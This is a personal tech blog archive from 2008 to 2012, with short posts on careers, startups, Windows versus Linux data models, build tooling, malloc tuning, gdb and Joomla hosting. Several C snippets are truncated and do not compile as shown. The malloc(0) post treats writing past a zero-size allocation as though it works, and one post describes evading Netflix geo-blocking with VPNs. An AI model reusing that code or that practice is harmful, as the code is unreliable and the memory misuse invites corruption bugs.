WoOd’s TechLog

Linux distro for linux web server?

2012-01-15T02:07:00.000-08:00

What would be a good distro for linux web server?

Ubuntu Server vs Debian vs Centos vs RH?

Asana

2011-02-08T07:55:00.000-08:00

frustrated by how much time we spent trying to stay on the same page with everyone (making sure teammates have the information they need, figuring out what everyone’s working on, clarifying priorities, …) and doing “work about work” (progress report emails, meetings, 1-0-1's, status blah…)

Atleast someone is working towards a solution:

http://asana.com/2010/06/what-asana-is-building/

Asana Open House from Jerry Phillips on Vimeo.

Tryst with Netflix ends

2011-01-09T02:45:00.000-08:00

Enjoyed a lot of movies, goofy comedies, gritty war movies and documentaries on Netflix.

Problem is that netflix does not like to stream movies outside of US.
May be Netflix co. does (I was a genuine paying Customer!) but some laws come into picture, literally.

Hotspot shield seemed to be working initially but Netflix seemed to have detected it finally.
It worked for a few days, but then i started to get an error after launching the movie "You cannot watch this movie from this location...".

I could browse their catalog without any problem, which suggest me that their webserver could not detect my location. Quite obvisouly since http://www.ip2location.com/ did show my ip to be coming from US (After hotspot shield was connected).

Now, It suggest me that Silverlight somehow detected my local geographic presence and sent that information to the streaming server. Which quite obviously mismatched.

To rule out this, I tried using Ultrasurf (which is another private VPN, but the bandwidth is bad). This worked like a charm! But watching movies with 'your computer has slowed down, buffering' every 10 mins was a pain.

My Second theory is that Netflix has banned some proxy servers of Hotspot. Naturally they would be having a server farm, with some loadbalancing and initially I was lucky to get one proxy which was not yet banned!

Sooner or later, they caught up, finally...Finally, I had to cancel my membership with Netflix. Can't keep paying $7.99 per month..

As they say, Enjoy it until it lasts...

Vertical search space

2010-08-17T20:50:00.000-07:00

"The ads revenue arbitrage in just letting consumers discover content via search is dead" Really?

Coming up with a vertical search engine on Flash Games has been on my mind since some days. I am convinced that there is a real need for such a search engine. Getting users there favorite game, w/o going through multiple portals.

until I read this:

http://www.alootechie.com/?q=content/lessons-learnt-failures-gamecurry-youcharades-gamewokcom-alok-kejriwal

The site launched in mid 2008 and we promoted the service extensively using our own network, etc.

The concept was a massive failure. Nobody seemed to return after using the site once and there was no viral traffic being built up. The worst part was that a service intended to help consumers was being spurned so badly. Much later we figured out that kids don’t search for games on search sites – they like to ‘stumble upon’ them.

We failed at this project but learnt an important lesson all entrepreneurs must imbibe –

Even before you create an amazing solution, ask your consumers if they even want it? Your consumers will not use something made ‘easy’ if they never had a problem in the first place!

Something I need to remember when I start my Version 1.0 product.

2010-07-31T03:24:00.000-07:00

Why more s/w engineer struggle after a few years in their career is
because they always used their talent to succeed.

"Excellence has nothing to do with talent.
And in course of time ability and talent are the most useless virtue to possess.."

2010-05-26T21:18:00.001-07:00

1.5M stolen Facebook IDs up for sale

2010-04-26T22:28:00.000-07:00

A hacker named Kirllos has a rare deal for anyone who wants to spam, steal or scam on Facebook: an unprecedented number of user accounts offered at rock-bottom prices ($25-$45 per 1000 accounts).

Researchers at VeriSign's iDefense group recently spotted Kirllos selling Facebook user names and passwords in an underground hacker forum, but what really caught their attention was the volume of credentials he had for sale: 1.5 million accounts.

To date, Kirllos seems to have sold close to 700,000 accounts, according to VeriSign Director of Cyber Intelligence Rick Howard.

In one such scam, criminals send out messages from a compromised account, telling friends that the account's owner is trapped in a foreign country and needs money to get home

"People will follow it because they believe it was a friend that told them to go to this link,"

more...

Proof Reading Docs

2010-04-05T21:41:00.000-07:00

One of the valuable lessons I had from my previous job was to read & comment on documents.

Design Docs, Test Documents, and other documents which by themselves had no meaning but were required to be created, proof read & maintained.

All these have three important benefits
1) Gives exposure to the product.
2) Creates Visibility.
3) People might value your input and might solicit your comments/approval next time by default.

This of course has the hidden assumption that the comments given were meaningful, gave better insight and were valuable to topic of discussion.

Its better not to say anything than to give out a stupid/vague comment.

On a lighter note:
http://dilbert.com/strips/comic/2010-04-05/

2010-03-15T06:28:00.000-07:00

Someday I would like to work for Microsoft again.

My previous stint with the company didn't impress me, but those were different times.
A different role may be..

2010-03-14T19:18:00.000-07:00

108 Million views, on you tube alone!

2010-03-14T18:48:00.000-07:00

Facebook is a funny application.It lets you see lives of people you have forgotten, people you don't want to see, people who will just waste your time and energy, if connected again.

There was a reason why they were left behind in your past and crossing that boundary again has consequences. For example: Imagine seeing your ex girl friend pics. You know what i mean..

Another simple example: How many of you really want to see this crappy post? Are you not better off without it?

Will breaking this social boundary cause the social networking to fail, ever? for privacy reasons?

Humans are best settled in smaller groups (than larger). So if FB keeps showing me people to connect to, and If i keep connecting, there will be a point of failure.

or may be people are natural Voyeurs, who love to peep into others life...even those who were left behind...

Downhill Path

2010-03-04T01:02:00.000-08:00

What will you do if you find that your project (or company) is going a never ending downhill path?

Many people will change jobs.

But the higher you are in management, the higher your stakes (and credibility). Its strange that it makes sense for them to keep trying *things* (cost cutting, change of direction (of a crappy product) or new marketing strategy) until the whole money is gone...then blame it onto recession or something, and keep your career moving...

2010-03-03T23:28:00.000-08:00

Unable to decide which one is better...

Cold November Rain || Coming Back to Life

Hmmm, Definitely Pink Floyd.

[techno-jazz] The Automated Build

2010-02-25T06:37:00.000-08:00

The build system in my team is making me crazy...

We have a bunch of c++ visual studio projects and lot of batch files invoking devenv directly on the vcproject. The problem is that the interdependency of different projects have outgrown above regular levels of sanity.

Now, If its a single solution, then Visual studio can help manage the order in which they are built.
But, if there are multiple teams working, then most often there will be different solutions.

Problem arises when projects in different solutions have circular dependencies.

There are a bunch of buildscript, which only one guy understands in my team and the order of building those vcprojects is kind of hardcoded inside the scripts.

Now, I need a software which helps me managing various inter dependent projects and letting me out of a mess of broken/hardcoded buildscripts.

I do not want to go into the path of Makefiles, they suit the Linux world. Visual Studio developers in my team use .vcprojects and solutions, and having corresponding (generated) Makefiles for automated build is just a pain for maintainability.

It's kindof funny that my Ex Boss forced us to use Cygwin environment for existing Linux Makefiles. My colleague had to struggle for more than a month before the build environment could be set right. Even then, it was kind of flaky, with certain assumptions which only one guy knew. I don't believe in Makefiles, vcprojects are good, since they are the once being used in my team and hence would be mostly kept sanitized.

Cruisecontrol is just a wrapper program (around Ant) for automating builds. I need something more than that.

Maven is best suited for Java projects. I need something similar to Maven, but for c++ (Visual studio) environment.

Apache Continuum is looking promising, still need to evaluate it..

If you know of any build/release management software, do let me know...

Apache Logging Infrastructure

2010-02-25T06:26:00.000-08:00

Logging infrastructure for my next project will definitely be apache logger4cxx

which even has a UI based LogViewer code named ChainSaw

Ego's in work place

2010-02-24T23:32:00.000-08:00

Every managers nightmare - Ego's in work places.

There are very few egotistical rascals, Very rare. I've just seen only one in my 9 yrs of career.
Then why are ego clashes so common in work places?

If you look closely, most of the people are actually good guys, friendly, once you know them. But at times somethings does tick them off, its very humanely natural. Now if you know him/her personally you might forgo, waive it off. But if you don't ..you will have a nasty surprise.

* Update: I saw something in the office premises while having coffee upstairs, and hence this post.

Is that enough?

2010-02-17T06:52:00.001-08:00

Recently in my company, an Distinguished Engineer who has been working for this company for past 30 yrs was called to lecture around how to reach Distinguished positions. You need to have a sustained track record, many patents, 10-15 letters of approvals from other distinguished team members, VP's & Customers. He went on and on about a career path which would demand atleast 6-8 years of dedicated effort.

What I wanted to know from him was simple..

How much will it gonna pay?

Not even close to what I had in mind...

The Man who knows

2010-02-12T19:27:00.000-08:00

The Man who knows - The wise man,
HomoSapien

Brilliant documentary on how the wise man is destroying the earth. But what's different from others is a relief in the end, that people and government and countries are taking preventive steps to stop the destruction of our beautiful planet, our Home.

Home http://www.youtube.com/watch?v=jqxENMKaeCU

CvsSpam: Things I learnt...

2010-02-11T05:49:00.000-08:00

CvsSpam Worked on it and Got it up and running. That was quite easy...Getting the legal approval to use it from IBM Legal department was difficult. Every 3rd party software we use (in code or otherwise) requires a legal approval. After a 3 week of wait from legal office (guess where? India) I could finally use it. Thank you!

The Major challenge was in changing people mindset to trust a new guy(me),
to agree to what I am doing, and Finally Letting me do it...

2010-02-11T05:44:00.000-08:00

hindsight is always better than foresight ...

Choice of Choices..

2010-02-05T03:24:00.000-08:00

Most things are neither black nor white, they are grey. So when you have to choose from a couple of choices, you can't always find a sure winner among them. But something inside tells you to make a choice. The more experience you are, the better choice you will make (most of the times). Isn't it called evolution...

Smart juniors...

2010-02-05T03:12:00.000-08:00

Its difficult to cope up with a smart colleague, who is much junior to you, but hell bent to prove his capabilities to you, and the ppl around you. They put you in a difficult argument, come up with smart answers, and if you can't convince him in those 2 seconds you have, then, there you go...you lost the battle.

Fan of Chinmaya Dunster

2010-01-24T19:59:00.000-08:00

Fusion of Irish and Indian classical, its divine...

http://www.chinmaya-dunster.com/

I love startup's

2010-01-11T05:44:00.000-08:00

I love startup's, there general energy, friendliness, open culture, flexible working hours and loads of responsibilities.

Asana.com, A secretive startup from the co-founders of facebook is looking for the following requirements.

Let me see if I fit in, General Requirements:

Passion
Earnestness
Honesty
Deep care about users and the user experience
Fearlessness working outside your comfort zone
Love of work as an end in itself, not just as a means toward an end. sometimes I take work and people casually. Many people mind that..
Ability to admit when wrong
Patience with others : Hopefully other team members have this one..Although I am getting better in dealing with situations and people. People can see your point of view, you just need the right words at the right time.
Impatience with technology
Meta skills. Python/ROR, gawk, scripting .. c/c++/Java. I can work on anything

Generally Desirable:

Obsessed with systems for personal (and team) productivity
Renaissance person who can wear many hats
Intellectual breadth, beyond software: I am improving every day
Eloquence: sometimes I am short of words
Entrepreneurial (we hope Asana will serve as a first-class entrepreneur apprenticeship program) Definitely, I love startup's!
Many people would describe you as the best coder/designer/businessperson they know. Not the best, but good.
Sense of humor. I am perceived more or less as a serious kind of guy..

Need to improve on all red's

How the AOL-Time Warner Merger Went So Wrong

2010-01-11T05:19:00.000-08:00

The optimism surrounding the deal was brief. In May of 2000, the dot-com bubble began to burst and online advertising began to slow, making it difficult for AOL to meet the financial forecasts on which the deal was based. The world began moving quickly to high-speed Internet access, putting AOL’s ubiquitous dial-up service in jeopardy.

The companies had another problem: both sides seemed to hate one another.

Good Read: here

Every second guy in India has a Mobile

2010-01-11T04:40:00.000-08:00

India's Mobile Subscriber Base Crosses 500 Million Mark in Nov 2009 read here at cio.com.

Google Search : 500 million/1.15 billion

500 million / 1.15 billion = 0.434782609

You know what it means?

Every second guy in India has a mobile phone. Wao..

Why did MS chose a new data model?

2010-01-06T05:58:00.001-08:00

So I just got introduced to another Microsoft mess.

We have 3 different Data Models (fancy name for data types like int/long and there sizes).

First is the Win32 Data model which is called ILP32.
BTW ILP stands for Integer, Long and Pointer respectively.

Second is the LP64 model which every sane os in the world(Solaris/Unix/Linux) follows. It means, Long and Pointer are 64 bit on 64 bit machines. Hell yah! Makes sense.
After all, we as programmers kindof assume that sizeof long is greater than sizeof int.

Third, is LLP64. which is a brainchild of Microsoft. only pointers and LL (long long) are 64 bit. Rest everything is 32 bit.

so,
Win32/Linux32 Win64 Linux64
sizeof int 32 32 32
sizeof long 32 32 64
sizeof pointer 32 64 64

Why the heck MS went for a new model? There argument in this pdf ( http://home.att.net/~Poly/64bitwin.pdf) written by David Beaver and On Lee Microsoft Corporation
May 17, 1998 is that, and i will qoute:

"Basic data types stay 32-bit, so data on disk doesn't change in size; data structures that are shared over a wire or through memory-mapped structures also don't change size. This relieves developers of most of the
effort involved in potential 32-bit to 64-bit ports"

Well, all I can say is that they might have saved some effort in looking for instances where they interchange int <--> with long and vice versa, but made life of thousands of programmers who want to write portable code for win32, win64, Linux32 and Linux64 more complicated.

Now they have to worry about new datatypes, like ULONG_PTR, pointer sizes which cannot intermix with Long, And additional programming hazards like:

ULONG p
foo( &p) << hey I just passed 32 bit quantity to a function which was expecting 64 bit (PULONG) most likely leading to stack corruption.

I wish MS had followed the same convention of what Unix/Linux were following?

techno-jazz: Get your requirement right

2009-12-24T02:58:00.001-08:00

LED traffic lights don't melt snow, do cause accidents.

Woo! It seems engineers were so excited about fixing one problem, they overlooked the other. Perhaps it never even made it to the requirements.

This example explains the importance of customer Input taken during the requirement phase, or customer feedback during the trial run.

Qoute from : http://www.engadget.com/2009/12/17/led-traffic-lights-dont-melt-snow-do-cause-accidents/
LED traffic lights don't melt snow, do cause accidents

By Vladislav Savov posted Dec 17th 2009 9:16AM

A number of cold weather American states are reporting their dismay at finding out that LED traffic lights are so energy efficient that they do not produce enough excess heat to dissipate any snow that covers them. It turns out, perhaps in an homage to bad engineering everywhere, that the inefficiency of incandescent light bulbs was previously relied upon to keep traffic signals unimpeded. The new LEDs do not achieve the same effect, which has resulted in a few accidents and even a death being blamed on obstructed traffic lights. Feel free to apply palm to face now. It's not all gloomy, though, as the majority of people are said to treat a dysfunctional traffic light as a stop sign (how clever of them), and a tech fix is being worked on as we speak.

Microsoft China Steals CODE from a startup

2009-12-18T02:09:00.000-08:00

Microsoft China officially launched its own microblogging service, MSN Juku/Hompy/Mclub, some time in November, 2009.

The service’s design and UI is by and large an EXACT copy of Plurk’s innovative left-right timeline scrolling navigation system. (see screen captures below)

Some 80% of the client and product codebase appears to be stolen directly from Plurk! (see evidence below).

More Information http://blog.plurk.com/2009/12/14/microsoft-rips-plurk

If it was US of A, Microsoft would have been ripped apart for this.
But this is China!

SSO - Single Sign on

2009-12-15T22:55:00.000-08:00

I B M
TAM - SSO

Single sign on...
That's what I am going to work on for a while...

Location: Sg.

Gartner reports can be rigged?

2009-11-09T03:04:00.000-08:00

I was under the impression that Gartner (along with many other analyst firms) can be bought and there reports can be rigged.

However, Thomas Gittman, an analyst at Gartner says:

As an analyst at Gartner, I can’t describe how angry I get when I read bloggers spouting as “fact” their opinion that I and my teammates have no integrity. That we can be “bought.”

What do you think?

How to be a great project manager?

2009-11-09T02:41:00.000-08:00

How to be a great project manager? Here is the The Quick-and-Dirty Guide
to Getting Things Done

Project Managers, they are the pros, part diplomat, part cheerleader, part polymath, and 100 percent efficiency junkie -- who get complicated projects done to spec, on time, and on budget....bnet.com

Some of the steps are practical and I really liked the one which says "Don't abuse Email"

If Employees have to read 100 emails a Day, 3 hours of productive time (about 37%) is lost in just reading emails! Assuming average time to reading an email is about 2 mins. Not counting the time to reply and craft a response.

2009-11-06T01:53:00.000-08:00

No one can make you feel inferior without your consent.
-- Eleanor Roosevelt

http://xkcd.com/632/

2009-10-29T11:39:00.000-07:00

http://xkcd.com/632/

Born geek

2009-10-21T02:04:00.000-07:00

while [1 = 1]
do
#eject cdrom
eject

#pull cdrom tray back in
eject -t
done

The program will first auto-eject the CD-ROM drive of your computer and then it will close that open tray. This open-close loop will run forever unless you terminate the program manually.

Now the interesting part -- using just these four lines of code, a geek turned his old Linux* computer into a baby rocker.

Rethinking the user interface...

2009-10-14T23:04:00.000-07:00

While Sony and Microsoft Xbox were in a mad race to build the fastest, meanest gaming systems with the slickest graphics imaginable, Nintendo headed back to the drawing board and came out with the accelerometer based, motion sensitive remote, which blew its competitors

Instead of standard joy sticks and mouse and keyboard, they had ingeniously used remote, which gave sound and vibration feedback to the player. What mattered was how much user was involved in the game.

The graphics were ordinary, the characters looked plain with egg shaped head, almost like in comic books. I guess the product manager was a big fan of Simpsons :)

The Wii hence become a super successful gaming console, making gaming more mainstream and giving Nintendo a huge lead over Xbox and Sony PS3.

2009-10-06T04:28:00.000-07:00

Comp.lang.c FAQ list · Question 1.32

Q: What is the difference between these initializations?

char a[] = "string literal";
char *p  = "string literal";

My program crashes if I try to assign a new value to p[i].

Check this out

Design flaw in production

2009-10-05T21:14:00.000-07:00

Due to a major flaw in purchase verification, Paid apps have been removed for the time being by Palm.

An exploit involving building your own dummy application with the same name as a paid application allowed folks to download a free "update" to these falsified shells and score for-purchase apps galore without dropping a cent.
here

Looks like somebody got there design screwed-up big time!

Computing Sins

2009-09-20T23:25:00.000-07:00

“More computing sins are committed in the name of efficiency (without necessarily achieving it) than for any other single reason - including blind stupidity.”

-- William Wulf

Monty Hall Problem

2009-08-31T22:21:00.000-07:00

Puzzle: Alice places three identical boxes on a table. She has concealed a precious ruby in one of them. The other two boxes are empty. Bob is allowed to pick one of the boxes. Among the two boxes remaining on the table, at least one is empty. Alice then removes one empty box from the table. Bob is now allowed to open either the box he picked, or the box lying on the table. If he opens the box with the ruby, he gets a kiss from Alice (which he values more than the ruby, of course). What should Bob do?

Source: The problem is popularly known as the Monty Hall Problem.

There’s a YouTube video explaining the solution!

Harley Davidson, Welcome to India

2009-08-27T23:27:00.001-07:00

Choose Your Ride: Harley Davidson in India

My new touch phone...

2009-08-06T21:29:00.001-07:00

Samsung star

Brownie points:
* Hasn't crashed even once ++ (Since last one week of use)
* Touch phone for Basic users +
* 3.2 megapixel camera +
* Good and user friendly UI ++
* Feature rich
* Accelerometer...+

Negative points:
* No wifi --
* No flash in camera -
* Proprietary OS, few apps available.
* Can't be geeky with this phone, Except for few Java apps.
* Touch scroll sluggish..but works.

Would wait for Android to come into Indian market.

Malloc / Free performance Tuning

2009-08-05T05:28:00.000-07:00

Did you ever worry that malloc and free are your performance bottlenecks?

Or did you write your own memory manager? Was it better than the default glibc implementation of malloc?May be!

Here is an eye opening document: A Study in Malloc: A Case of Excessive Minor Faults

When allocating and de-allocating large (>128k) amounts of memory on Linux, the default memory management tunings have a high performance penalty.

This is because mmap has more overhead than brk system call. Without going into the details (which you can anyway get after reading the above document), the main performance penatly was because of differances between brk and mmap call.

brk() causes the process heap memory (to be increased or decreased). So does mmap, but it is more flexible and returns the memory to the system immediately when freed.

Info malloc gets this:

| 3.2.2.6 | "Efficiency Considerations for malloc"

Very large blocks (much larger than a page) are allocated with
`mmap' (anonymous or via `/dev/zero') by this implementation. This has
the great advantage that these chunks are returned to the system
immediately when they are freed. Therefore, it cannot happen that a
large chunk becomes "locked" in between smaller ones and even after
calling `free' wastes memory. The size threshold for `mmap' to be used
can be adjusted with `mallopt'. The use of `mmap' can also be disabled
completely.

It is interesting to find that there are malloc options that can be provided either at runtime (by environment variables) or compile time using mallopt() call.

Basically, to improve malloc performance, one has to turn off mmap usage and malloc trimming, by either:
1) Adding the following code to a program before
heavily using malloc:

mallopt(M_MAP_MAX,0);
mallopt(M_TRIM_THRESHOLD,-1)

2) Setting the following environmental variables: (Note the trailing underscores)

For sh compatible shells:

export MALLOC_MMAP_MAX_=0
export MALLOC_TRIM_THRESHOLD_=-1

Amazing!

2009-07-31T10:35:00.000-07:00

Keeping your head straight and clear is the most difficult thing in Life.

On the road to mediocrity

2009-07-08T20:20:00.000-07:00

I am looking for a Job! And this is what I read today morning on Seth godin Blog to pep myself up!

Quote: from on the road to mediocrity
Along the way, we settle
We settle for something not quite right, or an outfit that isn't our best look, or a job that doesn't quite maximize our talents. We settle for relationships that don't give us joy, or a website that's, "good enough."
The only way to get mediocre is one step at a time.
You don't have to settle. It's a choice you get to make every day.

Whom to pay || How much to pay?

2009-07-08T20:06:00.000-07:00

Harvard Business Review: whom-to-pay-is-more-important-than-how-much

Companies need to pay reasonably well in order to attract and retain the right people in the first place. However, the purpose of compensation in my view and Jim's research is not to "motivate" the right behaviors from the wrong people. Compensation should be reasonable because it is part of human nature to expect fair treatment when it comes to compensation, which should be somehow proportional to our efforts and/or results.

This sense of a fair deal seems to be genetically anchored. Even primates respond with aggression or anger when they feel unfairly treated. This has been revealed by some fascinating research with capuchin monkeys.

In their experiments the primatologists created a market in which monkeys were trained to give them a pebble in exchange for food. While 95% of the monkeys participated in that market initially, when relative rewards became unfair only 20% of the monkeys continued to trade... and some got so frustrated they simply tossed away their pebbles!

%cd and %~dp0

2009-06-22T05:10:00.000-07:00

We recently had to create a batch file for Windows Environment which will be invoked by an installer.

Now, the problem is that batch file has to invoke a few processes, which must set LD_LIBRARY_PATH relative to the present working directory. i.e. to `pwd`..\lib; where `pwd` is where my batch file resides.

Now, since the batch file can be invoked from some other directory, `pwd`\..\lib will not obviously work

Thus, comes a savior: %~dp0
This is a variable that tells the path where the batch file resides.

`pwd` on Linux is same as %cd on Windows.It gives the present working directory.

Thus, if your batch script resides in d:\snap\ and is invoked with pwd as c:\windows\

%dp0 will give d:\snap\ and %cd will give c:\windows.

Helpful Link:
http://www.911cd.net/forums//index.php?showtopic=3730

is Technology Invading Privacy?

2009-06-12T01:15:00.000-07:00

Bing Bing

2009-06-02T02:40:00.000-07:00

When I was in Microsoft, Steve Ballmer made a comment in one of the annual company meetings.

"Google may be one of the leaders in search, but we will be the leaders in making money out of Search..." or something like that...

Looks like time has come when Microsodt investment in the search space has started to output results.

Welcome to www.bing.com, As Cliche' it may sound, it is beta.

The interface is soft and serene, with nice colors and pics in the background. A little away from boring simplicity of Google.

I tried a few searches (like Google on bing) and it came up with one and only one result:

Best match
Google
www.google.com
Enables users to search the Web, Usenet, and images. Features include PageRank, caching and translation of results, and an option to find similar pages. The company's focus is ...

And with a link for : Search other results for google.
Thank you bing, I must say, you saved me from going through endless lists of results. I am tired of it.

Show results from "your Geographical location" is also a nice Idea..
All in all a promising product from Microsoft.

Areas you want to improve as a leader?

2009-05-20T01:25:00.000-07:00

This interview of Steven A. Ballmer, the chief executive of MS was conducted and condensed by Adam Bryant.

Good read, some answers that I liked are here:

Q. Are there areas you want to improve as a leader?

A. I race too much. My brain races too much, so even if I’ve listened to everything somebody said, unless you show that you’ve digested it, people don’t think they are being well heard. Sometimes you really don’t hear because you’re racing. It’s just the way my brain works. My brain is just chop, chop, chop, chop, chop. And so, if you really want to get the best out of people, you have to really hear them and they have to feel like they’ve been really heard. So I’ve got to learn to slow down and improve in that dimension, both to make me better and to make the people around me better.

Q. What would you like business schools to focus on more, or less?

A. I’d like to see more emphasis on the importance of taking the long view. Companies focus too much on short-term results in business. It takes patience to build a great business, and sometimes you have to be willing to make the long-term investment and then keep at it if you want to succeed.

Q. If you could teach any b-school course, including one that you create, what would it be?

A. Leadership. Microsoft has grown from 30 people to more than 90,000 since I started, so I’ve had the chance to play a leadership role at practically every stage imaginable in a company’s growth and development. I’ve learned a lot about leadership along the way from some great people that I’ve worked with and through experience.

I’ve come to believe that to be a great leader, you have to combine thought leadership, business leadership and great people management. I think most people tend to focus more on one of those three. I used to think it was all about thought leadership. Some people think it’s all about your ability to manage people. But the truth is, great leaders have to have a mix of those things.

more here...

Not Reproducible

2009-05-13T00:36:00.001-07:00

To what extent will you go as a developer to reproduce a Issue?
http://xkcd.com/583/

Performance Bonus shot down

2009-04-29T21:47:00.000-07:00

My Company which is going through a slow down phase is working seriously to cut down costs.
Which means office has been shifted to a comparatively smaller place, Plus performance bonus for last year is shot down.

Where I feel the pinch is that they are cutting salaries promised me last year and not the current/next year and that hurts.

What's happening right now?

2009-04-07T23:02:00.000-07:00

Reasons for Failure...

2009-04-01T23:27:00.000-07:00

Found this article on Wikipedia:
Design by committee is a wry, pejorative term referring to a style of design and its resultant output when a group of entities comes together to produce something (often the design of technological systems or standards), particularly in the presence of poor and incompetent leadership. The defining characteristics of "design by committee" are needless complexity, internal inconsistency, logical flaws, banality, and the lack of a unifying vision.

Often, when software is designed by a committee, the original motivation, specifications and technical criteria take a backseat and poor choices may be made merely to appease the egos of several individual committee members. Such products and standards end up doing too many things or having parts that fit together poorly (because the entities who produced those parts were unaware of each other's requirements for a good fit).

Successful design and style much more relate to intuition, and even aesthetics, than science or politics. article source...

I couldn't agree more.

I'm Feeling Lucky

2009-03-17T02:32:00.000-07:00

RealNames was a company founded in 1997. Its goal was to create a keyword-based naming system for the Internet that would translate keywords typed into the address bar of Microsoft's Internet Explorer web browser and redirect them to to specific URL's.

RealNames was dependent on maintaining its association with Microsoft that enabled the RealNames service on Microsoft's web browser. RealNames shut down operations in 2002 following a decision by Microsoft to redirect the 1 billion page views per calendar quarter that RealNames were resolving from the browser address bar into the MSN search engine.

Duh!

The functionality is much similar to google's I'am Feeling Lucky!

Introducing any Surface

2009-03-16T23:11:00.000-07:00

Imagine your cellphone helping you to develop a 6th sense.

Inbuilt camera recognizes any gestures made by you and helps you interact naturally using both hands, project the information on any surface including your hand!

Here is the Video:
http://www.ted.com/index.php/talks/pattie_maes_demos_the_sixth_sense.html

(pi)

2009-03-14T13:59:00.000-07:00

Pi, Greek letter , is the symbol for the ratio of the circumference of a circle to its diameter.

Pi = 3.1415926535... Pi Day is celebrated by math enthusiasts around the world on March 14th at 1:59pm(or am),

A date and time that correspond to the first six digits of pi: 3.14159.

Joomla on Godaddy Hosting, SEO problems

2009-03-03T04:08:00.000-08:00

OK, I've a Godaddy Shared hosting for go-freak and I wanted to have SEO (Search engine Optimization) to be enabled for my existing joomla installation.

I did the following steps:

1) Enabled the following options from Global Configuration:

SEO Settings

Search Engine Friendly URLs	NoYes
Use Apache mod_rewrite	NoYes
Add suffix to URLs	NoYes

Now all my main menu Url's were re-written from:
http://go-freak.com/beta/joomla/7478/index.php?option=com_jumi&fileid=1&Itemid=3

to Search engine friendly :
http://go-freak.com/beta/joomla/7478/hello-jumi.html

Cool!

2) I renamed the file "htaccess.txt" to ".htaccess".

3) I also verified that configuration.php had a correct live_site URL set.

4) I also commented the following in my .htaccess file:
## Can be commented out if causes errors, see notes above.
Options +FollowSymLinks

Basically Followed all instructions that were available on the net.

All set and done.
But when I clicked on my main menu items (links) i started getting "File Not Found."
errors.

Found the answer in one of the forum posts:

GoDaddy uses a cache server for configuration files on shared hosting clients. You'll need to rename the file "htaccess.txt" to ".htaccess". After you rename the file wait about 1 hour before doing anything else. You only have to wait when you first create .htaccess Once it is created any change you make to it will be immediate. Let me say this one more time "Once .htaccess is created any change you make to it will be immediate.

Yes, that is true! Go-Daddy takes a while before honoring your .htaccess file, until then your Main Menu links will show "File not found." errors

Go and have a coffee and everything should be fine...

Project management

2009-02-23T22:01:00.001-08:00

* Installed Trac
* Installed svn for Collaborative development.
* Using google spread sheet for project tracking.

This project will make me learn a lot of things, including Project Management..

HTML: Image alignment

2009-02-18T00:13:00.000-08:00

I've been struggling to get my images aligned in blogger since time eternity. While going through a primer on HTML on W3Schools.com, I finally figured out how the 'align' keyword can be used show the image as per my requirement.

An image align="bottom" in the text.

An image align="middle" in the text.

An image align="top"in the text.

Note that bottom alignment is the default alignment

An image with no align keyword in the text.

An image align="left" before the text.

An image align="right" after the text .

you can also try it here

Let's go-freak!

2009-02-17T22:26:00.000-08:00

I've started a new project www.go-freak.com

Since I am a travel enthusiast, I always wanted a site which had travel related information available online. A sort of Wiki, where genuine information was editable. Routes, maps, Latest road information, Weather, hotels and there reviews.

There are various travel related sites already available, but most concentrate on either static content, forum, travelogue or Hotels (booking etc).

The Logo is designed by me :) using simple kiconedit and gimp on Linux!

I feel, there is a need for comprehensive mashed up site where latest information is editable and easy to search. Backed up by user based reviews and forum, I dream of building up a community of like minded travel freaks, and that is why
www.go-freak.com.

I had this idea in my mind since many years now and I am happy that this is going somewhere..

ofcourse I need to learn a lot of stuff, HTML, PHP, Ajax, SQL basically all web building stuff. If you have references, links, tutorials, that will be a great help. My best bet right now is www.w3schools.com.

This project is just a hobby..We have not decided on any commercial use or ROI.
Its just a fellow traveler trying to come up with a community. Hope that it succeeds...

Poignant guide to Ruby

2009-01-07T03:13:00.000-08:00

Against the odds, Yukihiro Matsumoto created Ruby on February 24, 1993. For the past ten years, he has steadily brought Ruby to a global audience. It’s triumphant and noble and all that. Support diversity. Help us tilt the earth just a bit.

http://poignantguide.net/ruby/

Must read...

Data copy!

2008-12-24T03:36:00.000-08:00

You wanna copy some data?
How about copying a big array into another array.

1) One at a time
2) All at one shot..

Now my question is: Where does the difference lie?

int main()
{
char source[65536], destination[65536];
int i, j;

for (j = 0; j <>
COPY;
}
------------------------------------

Case 1) #define COPY for (i = 0; i <>

Case 2) #define COPY memcpy(destination, source, 65536)

------------------------------------

Now Compile and time it:
#gcc smartcpy.c; time ./a.out

--------------------------------------




Comparison of the output:
      Case 1        Case 2
------------------------------------------
real   0m3.553s      0m0.142s
user   0m3.336s      0m0.141s
sys    0m0.002s      0m0.001s

Now thats some remarkable performance difference..

Canon EOS 5D Mark II

2008-12-22T20:38:00.000-08:00

One Camera I would love to have...

EOS 5D Mark II

Sample EOS 5D Mark II Video: Reverie

View Explorer of Light/PrintMaster Vincent Laforet's hauntingly beautiful short video, Reverie, shot entirely with the EOS 5D Mark II and EF Lenses.

Gdb source window

2008-12-17T00:16:00.000-08:00

Aha,
The magical command for gdb to show source window is:

# gdb -tui ./a.out

It also comes up with:
(gdb) >

I accidentally tumbled on it and now no more watching source code one line at a time. ddd is history and no more plugins for Vim/Emacs to help debugging with gdb.

Its all inbuilt. It's called tui mode.

AVL / Red Black Trees

2008-12-15T02:24:00.000-08:00

Nice representation of AVL Trees, Red black Trees in one applet:

http://webpages.ull.es/users/jriera/Docencia/AVL/AVL%20tree%20applet.htm

malloc(0)

2008-12-11T04:11:00.000-08:00

#include
#include

void main()
{
char * p = 0;

p = malloc(0);
strcat(p, "cat");

printf("\n%s\n", p);

}

output: cat

I tested the above program on:
Linux 2.6.20-1.2962.fc6 #1 SMP x86_64 , gcc version 4.1.2 20070626 (Red Hat 4.1.2-13)

Why does it work?

We all know that malloc(0) returns a block of memory (which you are not suppose to use). The only explanation is that malloc instead of returning 0 size block, returns a valid x bytes of block. To minimize accounting for small blocks?

To find out how much is that minimum block size, i wrote this:

char * p = 0;
char * q = 0;

p = malloc(0);
q = malloc(0);

(gdb) p q-p
$1 = 32

voila! There you have it,
malloc returns atleast 32 bytes on this system.

To reconfirm I tested the above program with p = malloc(1); q = malloc(8);
And q-p was still 32 bytes.

Good enough!
Now look at this:
-------------------------------
void main()
{
char * p = 0;
p = malloc(0);

for(int i=0; ; i++) {
memset(p,0, i);
}
}

Run it under a debugger:

Program received signal SIGSEGV, Segmentation fault.
0x0000000000400525 in main () at m.c:13
13 memset(p,0, i);
(gdb) p i
$1 = 135153

Interesting, how come the program was able to write till 135153 bytes before dying?
Is there a reason for it?

Running strace on the above program dumped:
strace ./a.out

brk(0) = 0x601000
brk(0x622000) = 0x622000
--- SIGSEGV (Segmentation fault) @ 0 (0) ---
